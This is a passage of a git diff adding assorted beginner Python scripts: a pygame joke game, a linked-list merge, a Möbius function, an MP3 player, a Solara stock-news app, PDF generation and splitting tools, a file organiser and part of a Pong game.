ultime (photo ultra exclusive + certificat de starlette n°1),", + font_small, + PINK, + 30, + HEIGHT // 2 + 40, + ) + display_text( + "veuillez envoyer 1000$ à Malak Inc.", + font_small, + PINK, + 150, + HEIGHT // 2 + 70, + ) + display_text( + "(paiement accepté en chocolat, câlins ou virement bancaire immédiat)", + font_small, + PINK, + 100, + HEIGHT // 2 + 100, + ) + pygame.display.update() + pygame.time.delay(3000) + running = False + + pygame.display.update() + pygame.time.Clock().tick(FPS) + +# Quitter pygame +pygame.quit() +sys.exit() diff --git a/Merge_linked_list.py b/Merge_linked_list.py new file mode 100644 index 00000000000..b5b38a7a132 --- /dev/null +++ b/Merge_linked_list.py @@ -0,0 +1,102 @@ +# Python3 program merge two sorted linked +# in third linked list using recursive. + +# Node class +class Node: + def __init__(self, data): + self.data = data + self.next = None + + +# Constructor to initialize the node object +class LinkedList: + # Function to initialize head + def __init__(self): + self.head = None + self.tail = None + + # Method to print linked list + def printList(self): + temp = self.head + + while temp: + print(temp.data, end="->") + temp = temp.next + + # Function to add of node at the end. + def append(self, new_data): + new_node = Node(new_data) + + if self.head is None: + self.head = new_node + self.tail = new_node + return + self.tail.next = new_node + self.tail = self.tail.next + + +# Function to merge two sorted linked list. +def mergeLists(head1, head2): + # create a temp node NULL + temp = None + + # List1 is empty then return List2 + if head1 is None: + return head2 + + # if List2 is empty then return List1 + if head2 is None: + return head1 + + # If List1's data is smaller or + # equal to List2's data + if head1.data <= head2.data: + # assign temp to List1's data + temp = head1 + + # Again check List1's data is smaller or equal List2's + # data and call mergeLists function. + temp.next = mergeLists(head1.next, head2) + + else: + # If List2's data is greater than or equal List1's + # data assign temp to head2 + temp = head2 + + # Again check List2's data is greater or equal List's + # data and call mergeLists function. + temp.next = mergeLists(head1, head2.next) + + # return the temp list. + return temp + + +# Driver Function +if __name__ == "__main__": + # Create linked list : + # 10->20->30->40->50 + list1 = LinkedList() + list1.append(10) + list1.append(20) + list1.append(30) + list1.append(40) + list1.append(50) + + # Create linked list 2 : + # 5->15->18->35->60 + list2 = LinkedList() + list2.append(5) + list2.append(15) + list2.append(18) + list2.append(35) + list2.append(60) + + # Create linked list 3 + list3 = LinkedList() + + # Merging linked list 1 and linked list 2 + # in linked list 3 + list3.head = mergeLists(list1.head, list2.head) + + print(" Merged Linked List is : ", end="") + list3.printList() diff --git a/MobiusFunction.py b/MobiusFunction.py new file mode 100644 index 00000000000..ba1d3561658 --- /dev/null +++ b/MobiusFunction.py @@ -0,0 +1,40 @@ +def is_square_free(factors): + """ + This functions takes a list of prime factors as input. + returns True if the factors are square free. + """ + for i in factors: + if factors.count(i) > 1: + return False + return True + + +def prime_factors(n): + """ + Returns prime factors of n as a list. + """ + i = 2 + factors = [] + while i * i <= n: + if n % i: + i += 1 + else: + n //= i + factors.append(i) + if n > 1: + factors.append(n) + return factors + + +def mobius_function(n): + """ + Defines Mobius function + """ + factors = prime_factors(n) + if is_square_free(factors): + if len(factors) % 2 == 0: + return 1 + elif len(factors) % 2 != 0: + return -1 + else: + return 0 diff --git a/Model Usage.ipynb b/Model Usage.ipynb new file mode 100644 index 00000000000..fbc01ccc46c --- /dev/null +++ b/Model Usage.ipynb @@ -0,0 +1,84 @@ +{ + "cells": [ + { + "cell_type": "code", + "execution_count": 1, + "metadata": {}, + "outputs": [], + "source": [ + "from joblib import load\n", + "import numpy as np\n", + "\n", + "model = load(\"HousingPricePredicter.joblib\")" + ] + }, + { + "cell_type": "code", + "execution_count": 2, + "metadata": {}, + "outputs": [], + "source": [ + "features = np.array(\n", + " [\n", + " [\n", + " -0.43942006,\n", + " 3.12628155,\n", + " -1.12165014,\n", + " -0.27288841,\n", + " -1.42262747,\n", + " -0.24141041,\n", + " -1.31238772,\n", + " 2.61111401,\n", + " -1.0016859,\n", + " -0.5778192,\n", + " -0.97491834,\n", + " 0.41164221,\n", + " -0.86091034,\n", + " ]\n", + " ]\n", + ")" + ] + }, + { + "cell_type": "code", + "execution_count": 3, + "metadata": {}, + "outputs": [ + { + "data": { + "text/plain": [ + "array([22.508])" + ] + }, + "execution_count": 3, + "metadata": {}, + "output_type": "execute_result" + } + ], + "source": [ + "model.predict(features)" + ] + } + ], + "metadata": { + "kernelspec": { + "display_name": "Python 3", + "language": "python", + "name": "python3" + }, + "language_info": { + "codemirror_mode": { + "name": "ipython", + "version": 3 + }, + "file_extension": ".py", + "mimetype": "text/x-python", + "name": "python", + "nbconvert_exporter": "python", + "pygments_lexer": "ipython3", + "version": "3.8.2" + } + }, + "nbformat": 4, + "nbformat_minor": 4 +} diff --git a/Mp3_media_player.py b/Mp3_media_player.py new file mode 100644 index 00000000000..1a778d4da66 --- /dev/null +++ b/Mp3_media_player.py @@ -0,0 +1,104 @@ +# its very amazing +import os +from tkinter.filedialog import askdirectory + +import pygame +from mutagen.id3 import ID3 +from tkinter import * + +root = Tk() +root.minsize(300, 300) + + +listofsongs = [] +realnames = [] + +v = StringVar() +songlabel = Label(root, textvariable=v, width=35) + +index = 0 + + +def directorychooser(): + directory = askdirectory() + os.chdir(directory) + + for files in os.listdir(directory): + if files.endswith(".mp3"): + realdir = os.path.realpath(files) + audio = ID3(realdir) + realnames.append(audio["TIT2"].text[0]) + + listofsongs.append(files) + + pygame.mixer.init() + pygame.mixer.music.load(listofsongs[0]) + # pygame.mixer.music.play() + + +directorychooser() + + +def updatelabel(): + global index + global songname + v.set(realnames[index]) + # return songname + + +def nextsong(event): + global index + index += 1 + pygame.mixer.music.load(listofsongs[index]) + pygame.mixer.music.play() + updatelabel() + + +def prevsong(event): + global index + index -= 1 + pygame.mixer.music.load(listofsongs[index]) + pygame.mixer.music.play() + updatelabel() + + +def stopsong(event): + pygame.mixer.music.stop() + v.set("") + # return songname + + +label = Label(root, text="Music Player") +label.pack() + +listbox = Listbox(root) +listbox.pack() + +# listofsongs.reverse() +realnames.reverse() + +for items in realnames: + listbox.insert(0, items) + +realnames.reverse() +# listofsongs.reverse() + + +nextbutton = Button(root, text="Next Song") +nextbutton.pack() + +previousbutton = Button(root, text="Previous Song") +previousbutton.pack() + +stopbutton = Button(root, text="Stop Music") +stopbutton.pack() + + +nextbutton.bind("", nextsong) +previousbutton.bind("", prevsong) +stopbutton.bind("", stopsong) + +songlabel.pack() + + +root.mainloop() diff --git a/Multiply.py b/Multiply.py new file mode 100644 index 00000000000..c8e1b52228f --- /dev/null +++ b/Multiply.py @@ -0,0 +1,12 @@ +def product(a, b): + if a < b: + return product(b, a) + elif b != 0: + return a + product(a, b - 1) + else: + return 0 + + +a = int(input("Enter first number: ")) +b = int(input("Enter second number: ")) +print("Product is: ", product(a, b)) diff --git a/MySQL_Databses.py b/MySQL_Databses.py new file mode 100644 index 00000000000..226a20e742c --- /dev/null +++ b/MySQL_Databses.py @@ -0,0 +1,17 @@ +import mysql.connector +# MySQl databses details +host = input("Enter MySQL host: ") +username = input("Enter MySQL username: ") +password = input("Enter MySQL password: ") +db_name = input("Enter MySQL database: ") +mydb = mysql.connector.connect( + host=host, user=username, passwd=password, database=db_name +) +mycursor = mydb.cursor() +# Execute SQL Query =>>>> mycursor.execute("SQL Query") +mycursor.execute("SELECT column FROM table") + +myresult = mycursor.fetchall() + +for x in myresult: + print(x) diff --git a/News_App/Newsapp.py b/News_App/Newsapp.py new file mode 100644 index 00000000000..5580bd24530 --- /dev/null +++ b/News_App/Newsapp.py @@ -0,0 +1,52 @@ +import solara as sr +import yfinance as yf + + +from patterns import Company_Name +from datetime import datetime as date, timedelta + +srart_date = date.today() +end_date = date.today() + timedelta(days=1) + + +def News(symbol): + get_Data = yf.Ticker(symbol) + + # news section + try: + NEWS = get_Data.news + sr.Markdown(f"# News of {v.value} :") + for i in range(len(NEWS)): + sr.Markdown("\n********************************\n") + sr.Markdown(f"## {i + 1}. {NEWS[i]['title']} \n ") + sr.Markdown(f"**Publisher** : {NEWS[i]['publisher']}\n") + sr.Markdown(f"**Link** : {NEWS[i]['link']}\n") + sr.Markdown(f"**News type** : {NEWS[i]['type']}\n\n\n") + try: + resolutions = NEWS[i]["thumbnail"]["resolutions"] + img = resolutions[0]["url"] + sr.Image(img) + + except: + pass + except Exception as e: + sr.Markdown(e) + sr.Markdown("No news available") + + +company = list(Company_Name.keys()) +v = sr.reactive(company[0]) + + +@sr.component +def Page(): + with sr.Column() as main: + with sr.Sidebar(): + sr.Markdown("## **stock Analysis**") + sr.Select("Select stock", value=v, values=company) + + select = Company_Name.get(v.value) + + News(select) + + return main diff --git a/News_App/README.md b/News_App/README.md new file mode 100644 index 00000000000..26d138072cd --- /dev/null +++ b/News_App/README.md @@ -0,0 +1,17 @@ +## News App + +- I have create News app using python solara framework and yfinace for getting news of stocks. + +Steps to run the app: + +1. Clone the repositery and go to the `News_App` and Install all the requirements + +``` +pip install -r requirements.txt +``` + +2. Run the solara app + +``` +solara run Newsapp.py +``` diff --git a/News_App/patterns.py b/News_App/patterns.py new file mode 100644 index 00000000000..7d1074c65d3 --- /dev/null +++ b/News_App/patterns.py @@ -0,0 +1,119 @@ +patterns = { + "CDLHARAMI": "Harami Pattern", + "CDLHARAMICROSS": "Harami Cross Pattern", + "CDL2CROWS": "Two Crows", + "CDL3BLACKCROWS": "Three Black Crows", + "CDL3INSIDE": "Three Inside Up/Down", + "CDL3LINESTRIKE": "Three-Line Strike", + "CDL3OUTSIDE": "Three Outside Up/Down", + "CDL3STARSINSOUTH": "Three Stars In The South", + "CDL3WHITESOLDIERS": "Three Advancing White Soldiers", + "CDLABANDONEDBABY": "Abandoned Baby", + "CDLADVANCEBLOCK": "Advance Block", + "CDLBELTHOLD": "Belt-hold", + "CDLBREAKAWAY": "Breakaway", + "CDLCLOSINGMARUBOZU": "Closing Marubozu", + "CDLCONCEALBABYSWALL": "Concealing Baby Swallow", + "CDLCOUNTERATTACK": "Counterattack", + "CDLDARKCLOUDCOVER": "Dark Cloud Cover", + "CDLDOJI": "Doji", + "CDLDOJISTAR": "Doji Star", + "CDLDRAGONFLYDOJI": "Dragonfly Doji", + "CDLENGULFING": "Engulfing Pattern", + "CDLEVENINGDOJISTAR": "Evening Doji Star", + "CDLEVENINGSTAR": "Evening Star", + "CDLGAPSIDESIDEWHITE": "Up/Down-gap side-by-side white lines", + "CDLGRAVESTONEDOJI": "Gravestone Doji", + "CDLHAMMER": "Hammer", + "CDLHANGINGMAN": "Hanging Man", + "CDLHIGHWAVE": "High-Wave Candle", + "CDLHIKKAKE": "Hikkake Pattern", + "CDLHIKKAKEMOD": "Modified Hikkake Pattern", + "CDLHOMINGPIGEON": "Homing Pigeon", + "CDLIDENTICAL3CROWS": "Identical Three Crows", + "CDLINNECK": "In-Neck Pattern", + "CDLINVERTEDHAMMER": "Inverted Hammer", + "CDLKICKING": "Kicking", + "CDLKICKINGBYLENGTH": "Kicking - bull/bear determined by the longer marubozu", + "CDLLADDERBOTTOM": "Ladder Bottom", + "CDLLONGLEGGEDDOJI": "Long Legged Doji", + "CDLLONGLINE": "Long Line Candle", + "CDLMARUBOZU": "Marubozu", + "CDLMATCHINGLOW": "Matching Low", + "CDLMATHOLD": "Mat Hold", + "CDLMORNINGDOJISTAR": "Morning Doji Star", + "CDLMORNINGSTAR": "Morning Star", + "CDLONNECK": "On-Neck Pattern", + "CDLPIERCING": "Piercing Pattern", + "CDLRICKSHAWMAN": "Rickshaw Man", + "CDLRISEFALL3METHODS": "Rising/Falling Three Methods", + "CDLSEPARATINGLINES": "Separating Lines", + "CDLSHOOTINGSTAR": "Shooting Star", + "CDLSHORTLINE": "Short Line Candle", + "CDLSPINNINGTOP": "Spinning Top", + "CDLSTALLEDPATTERN": "Stalled Pattern", + "CDLSTICKSANDWICH": "Stick Sandwich", + "CDLTAKURI": "Takuri (Dragonfly Doji with very long lower shadow)", + "CDLTASUKIGAP": "Tasuki Gap", + "CDLTHRUSTING": "Thrusting Pattern", + "CDLTRISTAR": "Tristar Pattern", + "CDLUNIQUE3RIVER": "Unique 3 River", + "CDLUPSIDEGAP2CROWS": "Upside Gap Two Crows", + "CDLXSIDEGAP3METHODS": "Upside/Downside Gap Three Methods", +} + +Company_Name = { + "NIFTY 50": "^NSEI", + "NIFTY BANK": "^NSEBANK", + "INDIA VIX": "^INDIAVIX", + "ADANI ENTERPRISES ": "ADANIENT.NS", + "ADANI PORTS AND SPECIAL ECONOMIC ZONE ": "ADANIPORTS.NS", + "APOLLO HOSPITALS ENTERPRISE ": "APOLLOHOSP.NS", + "ASIAN PAINTS ": "ASIANPAINT.NS", + "Axis Bank ": "AXISBANK.NS", + "MARUTI SUZUKI INDIA ": "MARUTI.NS", + "BAJAJ FINANCE ": "BAJFINANCE.NS", + "Bajaj Finserv ": "BAJAJFINSV.NS", + "BHARAT PETROLEUM CORPORATION ": "BPCL.NS", + "Bharti Airtel ": "BHARTIARTL.NS", # change + "BRITANNIA INDUSTRIES LTD": "BRITANNIA.NS", + "CIPLA ": "CIPLA.NS", + "COAL INDIA LTD ": "COALINDIA.NS", + "DIVI'S LABORATORIES ": "DIVISLAB.NS", + "DR.REDDY'S LABORATORIES LTD ": "DRREDDY.NS", + "EICHER MOTORS ": "EICHERMOT.NS", + "GRASIM INDUSTRIES LTD ": "GRASIM.NS", + "HCL TECHNOLOGIES ": "HCLTECH.NS", + "HDFC BANK ": "HDFCBANK.NS", + "HDFC LIFE INSURANCE COMPANY ": "HDFCLIFE.NS", + "Hero MotoCorp ": "HEROMOTOCO.NS", + "HINDALCO INDUSTRIES ": "HINDALCO.NS", + "HINDUSTAN UNILEVER ": "HINDUNILVR.NS", + "HOUSING DEVELOPMENT FINANCE CORPORATION ": "HDFC.NS", + "ICICI BANK ": "ICICIBANK.NS", + "ITC ": "ITC.NS", + "INDUSIND BANK LTD. ": "INDUSINDBK.NS", + "INFOSYS ": "INFY.NS", + "JSW Steel ": "JSWSTEEL.NS", + "KOTAK MAHINDRA BANK ": "KOTAKBANK.NS", + "LARSEN AND TOUBRO ": "LT.NS", + "MAHINDRA AND MAHINDRA ": "M&M.NS", + "MARUTI SUZUKI INDIA ": "MARUTI.NS", + "NTPC ": "NTPC.NS", + "NESTLE INDIA ": "NESTLEIND.NS", + "OIL AND NATURAL GAS CORPORATION ": "ONGC.NS", + "POWER GRID CORPORATION OF INDIA ": "POWERGRID.NS", + "RELIANCE INDUSTRIES ": "RELIANCE.NS", # cahnged + "SBI LIFE INSURANCE COMPANY ": "SBILIFE.NS", + "SBI": "SBIN.NS", + "SUN PHARMACEUTICAL INDUSTRIES ": "SUNPHARMA.NS", + "TATA CONSULTANCY SERVICES ": "TCS.NS", + "TATA CONSUMER PRODUCTS ": "TATACONSUM.NS", + "TATA MOTORS ": "TATAMTRDVR.NS", + "TATA STEEL ": "TATASTEEL.NS", + "TECH MAHINDRA ": "TECHM.NS", + "TITAN COMPANY ": "TITAN.NS", + "UPL ": "UPL.NS", + "ULTRATECH CEMENT ": "ULTRACEMCO.NS", + "WIPRO ": "WIPRO.NS", +} diff --git a/News_App/requirements.txt b/News_App/requirements.txt new file mode 100644 index 00000000000..8ac66230937 --- /dev/null +++ b/News_App/requirements.txt @@ -0,0 +1,6 @@ +solara == 1.54.0 +Flask +gunicorn ==23.0.0 +simple-websocket +flask-sock +yfinance \ No newline at end of file diff --git a/NumPy Array Exponentiation.py b/NumPy Array Exponentiation.py new file mode 100644 index 00000000000..067db178867 --- /dev/null +++ b/NumPy Array Exponentiation.py @@ -0,0 +1,72 @@ +""" +NumPy Array Exponentiation + +Check if two arrays have the same shape and compute element-wise powers +with and without np.power. + +Example usage: +>>> import numpy as np +>>> x = np.array([1, 2]) +>>> y = np.array([3, 4]) +>>> get_array(x, y) # doctest: +ELLIPSIS +Array of powers without using np.power: [ 1 16] +Array of powers using np.power: [ 1 16] +""" + +import numpy as np + + +def get_array(x: np.ndarray, y: np.ndarray) -> None: + """ + Compute element-wise power of two NumPy arrays if their shapes match. + + Parameters + ---------- + x : np.ndarray + Base array. + y : np.ndarray + Exponent array. + + Returns + ------- + None + Prints the element-wise powers using both operator ** and np.power. + + Example: + >>> import numpy as np + >>> a = np.array([[1, 2], [3, 4]]) + >>> b = np.array([[2, 2], [2, 2]]) + >>> get_array(a, b) # doctest: +ELLIPSIS + Array of powers without using np.power: [[ 1 4] + [ 9 16]] + Array of powers using np.power: [[ 1 4] + [ 9 16]] + """ + if x.shape == y.shape: + np_pow_array = x**y + print("Array of powers without using np.power: ", np_pow_array) + print("Array of powers using np.power: ", np.power(x, y)) + else: + print("Error: Shape of the given arrays is not equal.") + + +if __name__ == "__main__": + import doctest + + doctest.testmod() + + # 0D array + np_arr1 = np.array(3) + np_arr2 = np.array(4) + # 1D array + np_arr3 = np.array([1, 2]) + np_arr4 = np.array([3, 4]) + # 2D array + np_arr5 = np.array([[1, 2], [3, 4]]) + np_arr6 = np.array([[5, 6], [7, 8]]) + + get_array(np_arr1, np_arr2) + print() + get_array(np_arr3, np_arr4) + print() + get_array(np_arr5, np_arr6) diff --git a/Number reverse.py b/Number reverse.py new file mode 100644 index 00000000000..29219d298c5 --- /dev/null +++ b/Number reverse.py @@ -0,0 +1,7 @@ +n = int(input("Enter number: ")) +rev = 0 +while n > 0: + dig = n % 10 + rev = rev * 10 + dig + n = n // 10 +print("Reverse of the number:", rev) diff --git a/Organise.py b/Organise.py new file mode 100644 index 00000000000..55a5f60fad2 --- /dev/null +++ b/Organise.py @@ -0,0 +1,110 @@ +from __future__ import print_function + +import os +import shutil +import sys + +EXT_VIDEO_LIST = ["FLV", "WMV", "MOV", "MP4", "MPEG", "3GP", "MKV", "AVI"] +EXT_IMAGE_LIST = ["JPG", "JPEG", "GIF", "PNG", "SVG"] +EXT_DOCUMENT_LIST = [ + "DOC", + "DOCX", + "PPT", + "PPTX", + "PAGES", + "PDF", + "ODT", + "ODP", + "XLSX", + "XLS", + "ODS", + "TXT", + "IN", + "OUT", + "MD", +] +EXT_MUSIC_LIST = ["MP3", "WAV", "WMA", "MKA", "AAC", "MID", "RA", "RAM", "RM", "OGG"] +EXT_CODE_LIST = ["CPP", "RB", "PY", "HTML", "CSS", "JS"] +EXT_EXECUTABLE_LIST = ["LNK", "DEB", "EXE", "SH", "BUNDLE"] +EXT_COMPRESSED_LIST = [ + "RAR", + "JAR", + "ZIP", + "TAR", + "MAR", + "ISO", + "LZ", + "7ZIP", + "TGZ", + "GZ", + "BZ2", +] + +# Taking the location of the Folder to Arrange +try: + destLocation = str(sys.argv[1]) +except IndexError: + destLocation = str(input("Enter the Path of directory: ")) + + +# When we make a folder that already exist then WindowsError happen +# Changing directory may give WindowsError +def ChangeDirectory(dir): + try: + os.chdir(dir) + except WindowsError: + print("Error! Cannot change the Directory") + print("Enter a valid directory!") + ChangeDirectory(str(input("Enter the Path of directory: "))) + + +ChangeDirectory(destLocation) + + +def Organize(dirs, name): + try: + os.mkdir(name) + print("{} Folder Created".format(name)) + except WindowsError: + print("{} Folder Exist".format(name)) + + src = "{}\\{}".format(destLocation, dirs) + dest = "{}\\{}".format(destLocation, name) + + os.chdir(dest) + shutil.move(src, "{}\\{}".format(dest, dirs)) + + print(os.getcwd()) + os.chdir(destLocation) + + +TYPES_LIST = [ + "Video", + "Images", + "Documents", + "Music", + "Codes", + "Executables", + "Compressed", +] +for dirs in os.listdir(os.getcwd()): + if 1: + for name, extensions_list in zip( + TYPES_LIST, + [ + EXT_VIDEO_LIST, + EXT_IMAGE_LIST, + EXT_DOCUMENT_LIST, + EXT_MUSIC_LIST, + EXT_CODE_LIST, + EXT_EXECUTABLE_LIST, + EXT_COMPRESSED_LIST, + ], + ): + if dirs.split(".")[-1].upper() in extensions_list: + Organize(dirs, name) + else: + if dirs not in TYPES_LIST: + Organize(dirs, "Folders") + +print("Done Arranging Files and Folder in your specified directory") diff --git a/PDF/basic.py b/PDF/basic.py new file mode 100644 index 00000000000..6bc7c5c77c4 --- /dev/null +++ b/PDF/basic.py @@ -0,0 +1,34 @@ +from fpdf import FPDF + +# Author: @NavonilDas + + +pdf = FPDF() +# Set Author Name of the PDF +pdf.set_author("@NavonilDas") +# Set Subject of The PDF +pdf.set_subject("python") +# Set the Title of the PDF +pdf.set_title("Generating PDF with Python") +pdf.add_page() + +# Set Font family Courier with font size 28 +pdf.set_font("Courier", "", 18) +# Add Text at (0,50) +pdf.text(0, 50, "Example to generate PDF in python.") + +# Set Font Family Courier with italic and font size 28 +pdf.set_font("Courier", "i", 28) +pdf.text(0, 60, "This is an italic text") # Write text at 0,60 + +# Draw a Rectangle at (10,100) with Width 60,30 +pdf.rect(10, 100, 60, 30, "D") + +# Set Fill color +pdf.set_fill_color(255, 0, 0) # Red = (255,0,0) + +# Draw a Circle at (10,135) with diameter 50 +pdf.ellipse(10, 135, 50, 50, "F") + +# Save the Output at Local File +pdf.output("output.pdf", "F") diff --git a/PDF/demerge_pdfs.py b/PDF/demerge_pdfs.py new file mode 100644 index 00000000000..547708f73ac --- /dev/null +++ b/PDF/demerge_pdfs.py @@ -0,0 +1,42 @@ +""" +Python program to split large pdf(typically textbook) into small set of pdfs, maybe chapterwise +to enhance the experience of reading and feasibility to study only specific parts from the large original textbook +""" + +import PyPDF2 + +path = input() +merged_pdf = open(path, mode="rb") + + +pdf = PyPDF2.PdfFileReader(merged_pdf) + +(u, ctr, x) = tuple([0] * 3) +for i in range(1, pdf.numPages + 1): + if u >= pdf.numPages: + print("Successfully done!") + exit(0) + name = input("Enter the name of the pdf: ") + ctr = int(input(f"Enter the number of pages for {name}: ")) + u += ctr + if u > pdf.numPages: + print("Limit exceeded! ") + break + + base_path = "/Users/darpan/Desktop/{}.pdf" + path = base_path.format(name) + f = open(path, mode="wb") + pdf_writer = PyPDF2.PdfFileWriter() + + for j in range(x, x + ctr): + page = pdf.getPage(j) + pdf_writer.addPage(page) + + x += ctr + + pdf_writer.write(f) + f.close() + + +merged_pdf.close() +print("Successfully done!") diff --git a/PDF/header_footer.py b/PDF/header_footer.py new file mode 100644 index 00000000000..f7b50037796 --- /dev/null +++ b/PDF/header_footer.py @@ -0,0 +1,49 @@ +from fpdf import FPDF + + +# Author: @NavonilDas + + +class MyPdf(FPDF): + def header(self): + # Uncomment the line below to add logo if needed + # self.image('somelogo.png',12,10,25,25) # Draw Image ar (12,10) with height = 25 and width = 25 + self.set_font("Arial", "B", 18) + self.text(27, 10, "Generating PDF With python") + self.ln(10) + + def footer(self): + # Set Position at 1cm (10mm) From Bottom + self.set_y(-10) + # Arial italic 8 + self.set_font("Arial", "I", 8) + # set Page number at the bottom + self.cell(0, 10, "Page No {}".format(self.page_no()), 0, 0, "C") + pass + + +pdf = MyPdf() +# Set Author Name of the PDF +pdf.set_author("@NavonilDas") +# Set Subject of The PDF +pdf.set_subject("python") +# Set the Title of the PDF +pdf.set_title("Generating PDF with Python") +pdf.add_page() + +# Set Font family Courier with font size 28 +pdf.set_font("Courier", "", 18) +# Add Text at (0,50) +pdf.text(0, 50, "Example to generate PDF in python.") + +# Set Font Family Courier with italic and font size 28 +pdf.set_font("Courier", "i", 28) +pdf.text(0, 60, "This is an italic text") # Write text at 0,60 + +pdf.add_page() + +# Center Text With border and a line break with height=10mm +pdf.cell(0, 10, "Hello There", 1, 1, "C") + +# Save the Output at Local File +pdf.output("output.pdf", "F") diff --git a/PDF/images.py b/PDF/images.py new file mode 100644 index 00000000000..ad3c4033908 --- /dev/null +++ b/PDF/images.py @@ -0,0 +1,45 @@ +import os + +from PIL import Image +from fpdf import FPDF + +# Author: @NavonilDas + +# Example to Append all the images inside a folder to pdf +pdf = FPDF() + +# Size of a A4 Page in mm Where P is for Potrait and L is for Landscape +A4_SIZE = {"P": {"w": 210, "h": 297}, "L": {"w": 297, "h": 210}} +# pdf may produce empty page so we need to set auto page break as false +pdf.set_auto_page_break(0) + +for filename in os.listdir("images"): + try: + # Read Image file so that we can cover the complete image properly and if invalid image file skip those files + img = Image.open("images\\" + filename) + + # Read Width and Height + width, height = img.size + + # Close opened Image + img.close() + + # Convert Width and Height into mm from px as 1px = 0.2645833333 mm + width, height = float(width * 0.264583), float(height * 0.264583) + + # Check if Width is greater than height so to know the image is in landscape or else in potrait + orientation = "P" if width < height else "L" + + # Read the minimum of A4 Size and the image size + width = min(A4_SIZE[orientation]["w"], width) + height = min(A4_SIZE[orientation]["h"], height) + + # Add Page With an orientation + pdf.add_page(orientation=orientation) + # Add Image with their respective width and height in mm + pdf.image("images\\" + filename, 0, 0, width, height) + + except OSError: + print("Skipped : " + filename) + +pdf.output("output.pdf", "F") diff --git a/PDF/images/ss.png b/PDF/images/ss.png new file mode 100644 index 00000000000..5588885c287 Binary files /dev/null and b/PDF/images/ss.png differ diff --git a/PDF/output.pdf b/PDF/output.pdf new file mode 100644 index 00000000000..5c366da78fe Binary files /dev/null and b/PDF/output.pdf differ diff --git a/PDF/requirements.txt b/PDF/requirements.txt new file mode 100644 index 00000000000..63016005d13 --- /dev/null +++ b/PDF/requirements.txt @@ -0,0 +1,2 @@ +Pillow==12.0.0 +fpdf==1.7.2 \ No newline at end of file diff --git a/PDFtoAudiobook.py b/PDFtoAudiobook.py new file mode 100644 index 00000000000..648eaa23fcf --- /dev/null +++ b/PDFtoAudiobook.py @@ -0,0 +1,12 @@ +import pyttsx3 +import pyPDF2 + +book = open("book.pdf", "rb") +pdfreader = pyPDF2.PdfFileReader(book) +pages = pdfreader.numPages +print(pages) +speaker = pyttsx3.init() +page = pdfreader.getpage(7) +text = page.extractText() +speaker.say(text) +speaker.runAndWait() diff --git a/PONG_GAME.py b/PONG_GAME.py new file mode 100644 index 00000000000..59b6e566c3d --- /dev/null +++ b/PONG_GAME.py @@ -0,0 +1,153 @@ +# Pong Game in Codeskulptor + +import random + +import simplegui + +WIDTH = 600 +HEIGHT = 400 +BALL_RADIUS = 20 +PAD_WIDTH = 8 +PAD_HEIGHT = 80 +HALF_PAD_WIDTH = PAD_WIDTH / 2 +HALF_PAD_HEIGHT = PAD_HEIGHT / 2 +LEFT = False +RIGHT = True +score1 = 0 +score2 = 0 +paddle1_pos = 0 +paddle2_pos = 0 +paddle1_vel = 0 +paddle2_vel = 0 + + +def spawn_ball(direction): + global ball_pos, ball_vel # these are vectors stored as lists + ball_pos = [WIDTH / 2, HEIGHT / 2] + if direction == RIGHT: + ball_vel = [random.randrange(120, 240) / 60, random.randrange(60, 180) / 60] + elif direction == LEFT: + ball_vel = [-random.randrange(120, 240) / 60, random.randrange(60, 180) / 60] + + +def reset(): + global ball_pos, score1, score2 + ball_pos = [WIDTH / 2, HEIGHT / 2] + score1 = 0 + score2 = 0 + + +def new_game(): + global paddle1_pos, paddle2_pos, paddle1_vel, paddle2_vel + global score1, score2 + reset() + spawn_ball(RIGHT) + + +def draw(canvas): + global \ + paddle1_pos, \ + paddle2_pos, \ + ball_pos, \ + ball_vel, \ + paddle1_vel, \ + paddle2_vel, \ + BALL_RADIUS + global score1, score2 + + canvas.draw_line([WIDTH / 2, 0], [WIDTH / 2, HEIGHT], 1, "White") + canvas.draw_line([PAD_WIDTH, 0], [PAD_WIDTH, HEIGHT], 1, "White") + canvas.draw_line([WIDTH - PAD_WIDTH, 0], [WIDTH - PAD_WIDTH, HEIGHT], 1, "White") + + ball_pos[0] += ball_vel[0] + ball_pos[1] += ball_vel[1] + + if ( + ball_pos[0] <= BALL_RADIUS + PAD_WIDTH + or ball_pos[0] >= WIDTH - BALL_RADIUS - PAD_WIDTH + ): + ball_vel[0] = -ball_vel[0] + elif ( + ball_pos[1] <= BALL_RADIUS + PAD_WIDTH + or ball_pos[1] >= HEIGHT - BALL_RADIUS - PAD_WIDTH + ): + ball_vel[1] = -ball_vel[1] + + canvas.draw_circle(ball_pos, BALL_RADIUS, 1, "White", "White") + + paddle1_pos += paddle1_vel + paddle2_pos += paddle2_vel + + if paddle1_pos <= -HEIGHT / 2 + PAD_HEIGHT / 2: + paddle1_pos = -HEIGHT / 2 + PAD_HEIGHT / 2 + elif paddle1_pos >= HEIGHT / 2 - PAD_HEIGHT / 2: + paddle1_pos = HEIGHT / 2 - PAD_HEIGHT / 2 + + if paddle2_pos <= -HEIGHT / 2 + PAD_HEIGHT / 2: + paddle2_pos = -HEIGHT / 2 + PAD_HEIGHT / 2 + elif paddle2_pos >= HEIGHT / 2 - PAD_HEIGHT / 2: + paddle2_pos = HEIGHT / 2 - PAD_HEIGHT / 2 + + canvas.draw_line( + [PAD_WIDTH / 2, paddle1_pos + HEIGHT / 2 - PAD_HEIGHT / 2], + [PAD_WIDTH / 2, paddle1_pos + PAD_HEIGHT / 2 + HEIGHT / 2], + 10, + "White", + ) + canvas.draw_line( + [WIDTH - PAD_WIDTH / 2, paddle2_pos + HEIGHT / 2 - PAD_HEIGHT / 2], + [WIDTH - PAD_WIDTH / 2, PAD_HEIGHT / 2 + paddle2_pos + HEIGHT / 2], + 10, + "White", + ) + + if ( + ball_pos[1] <= (paddle1_pos + HEIGHT / 2 - PAD_HEIGHT / 2) + or ball_pos[1] >= (paddle1_pos + PAD_HEIGHT / 2 + HEIGHT / 2) + ) and ball_pos[0] == (PAD_WIDTH + BALL_RADIUS): + score2 += 1 + else: + pass + + if ( + ball_pos[1] <= (paddle2_pos + HEIGHT / 2 - PAD_HEIGHT / 2) + or ball_pos[1] >= (paddle2_pos + PAD_HEIGHT / 2 + HEIGHT / 2) + ) and ball_pos[0] == (WIDTH - PAD_WIDTH - BALL_RADIUS): + score1 += 1 + else: + pass + + canvas.draw_text(str(score1), (250, 30), 40, "White") + canvas.draw_text(str(score2), (330, 30), 40, "White") + + +def keydown(key): + global paddle1_vel, paddle2_vel + if key == simplegui.KEY_MAP["down"]: + paddle1_vel = 2 + elif key == simplegui.KEY_MAP["up"]: + paddle1_vel = -2 + + if key == simplegui.KEY_MAP["w"]: + 